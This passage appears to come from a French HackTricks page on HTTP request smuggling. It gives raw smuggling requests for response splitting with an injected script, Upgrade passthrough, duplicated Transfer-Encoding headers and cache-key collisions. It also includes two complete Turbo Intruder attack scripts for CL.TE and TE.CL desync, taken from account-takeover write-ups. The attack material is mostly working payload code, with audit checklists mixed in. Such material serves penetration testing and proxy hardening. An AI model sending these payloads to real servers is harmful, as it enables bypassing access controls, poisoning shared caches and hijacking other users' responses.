Par conséquent, la nouvelle idée serait que, connaissant ce Content-Length et les données fournies dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet de Content-Length, ce qui permet à un attaquant de contrôler complètement la requête vers la réponse suivante (ce qui pourrait être utilisé pour réaliser un cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Générera ces réponses (notez comment la réponse HEAD a un Content-Length qui fait que la réponse TRACE fait partie du corps du HEAD et, une fois que le Content-Length du HEAD se termine, une réponse HTTP valide est smuggled) :

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizing HTTP Request Smuggling avec HTTP Response Desynchronisation

Avez-vous trouvé une vulnérabilité HTTP Request Smuggling et ne savez-vous pas comment l’exploiter. Essayez ces autres méthodes d’exploitation :

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De : https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Reverse-proxy parsing footguns (Pingora 2026)

Plusieurs bugs Pingora de 2026 sont utiles car ils montrent des primitives de desync au-delà du classique CL.TE / TE.CL. La leçon réutilisable est la suivante : chaque fois qu’un proxy arrête l’analyse trop tôt, normalise Transfer-Encoding différemment du backend, ou retombe sur read-until-close pour les corps de requête, vous pouvez obtenir un desync FE↔BE même sans ambiguïté CL/TE traditionnelle.

Premature Upgrade passthrough

Si un reverse proxy bascule en mode raw tunnel / passthrough dès qu’il voit un en-tête Upgrade, sans attendre que le backend confirme le basculement avec 101 Switching Protocols, vous pouvez smuggler une seconde requête dans le même flux TCP :

GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0

GET /admin HTTP/1.1
Host: target.com

Le front-end ne parse que la première request, puis transmet le reste comme des bytes bruts. Le backend parse les bytes ajoutés comme une nouvelle request provenant de l’IP de confiance du proxy. C’est particulièrement utile pour :

  • Bypass les règles ACL du proxy, les règles WAF, les vérifications d’auth, et les rate limits.
  • Atteindre des endpoints internes uniquement qui font confiance à l’IP du reverse proxy.
  • Déclencher un cross-user response queue poisoning sur des connexions backend réutilisées.

Lors de l’audit des proxies, testez toujours si n’importe quelle valeur Upgrade déclenche le passthrough, et vérifiez si le basculement se produit avant ou après que le backend réponde avec 101.

Bugs de normalisation Transfer-Encoding + fallback HTTP/1.0 close-delimited

Un autre schéma utile est :

  1. Le proxy voit que Transfer-Encoding est présent, donc il supprime Content-Length.
  2. Le proxy échoue à normaliser TE correctement.
  3. Le proxy n’a maintenant aucun framing reconnu et retombe sur des corps de request close-delimited pour HTTP/1.0.
  4. Le backend comprend correctement TE et traite les bytes après 0\r\n\r\n comme une nouvelle request.

Façons courantes de déclencher cela :

  • Liste TE séparée par des virgules non parsée :
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29

0

GET /admin HTTP/1.1
X:
  • Les en-têtes TE dupliqués ne sont pas fusionnés:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X:

Les vérifications d’audit importantes sont :

  • Le front-end analyse-t-il le dernier token TE, comme requis lorsque chunked est en dernier ?
  • Utilise-t-il tous les en-têtes Transfer-Encoding au lieu du premier seulement ?
  • Pouvez-vous forcer HTTP/1.0 à déclencher un mode de lecture du corps jusqu’à la fermeture ?
  • Le proxy autorise-t-il parfois des corps de requête délimités par close ? C’est en soi un signal de desync à forte valeur.

Cette classe ressemble souvent à CL.TE de l’extérieur, mais le vrai primitive est : TE present –> CL stripped –> no valid framing recognized –> request body forwarded until close.

Primitive de cache poisoning associée : clés de cache basées uniquement sur le path

Le même audit Pingora a aussi révélé un anti-pattern dangereux de reverse-proxy cache : dériver la cache key uniquement à partir du path de l’URI, en ignorant Host, le scheme ou le port. Dans des déploiements multi-tenant ou multi-vhost, différents hosts peuvent alors entrer en collision sur la même entrée de cache :

GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com

Si les deux requests mappent vers la même cache key (/api/data), un tenant peut empoisonner le contenu pour un autre. Si l’origin reflète le header Host dans les redirects, CORS, HTML, ou les script URLs, une réflexion de Host de faible valeur peut devenir un cross-user stored cache poisoning.

Lors de la revue des caches, vérifiez que la key inclut au minimum :

  • Host / identité du virtual host
  • scheme (http vs https) lorsque le comportement diffère
  • port lorsque plusieurs applications partagent le même cache namespace

Tools

References

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks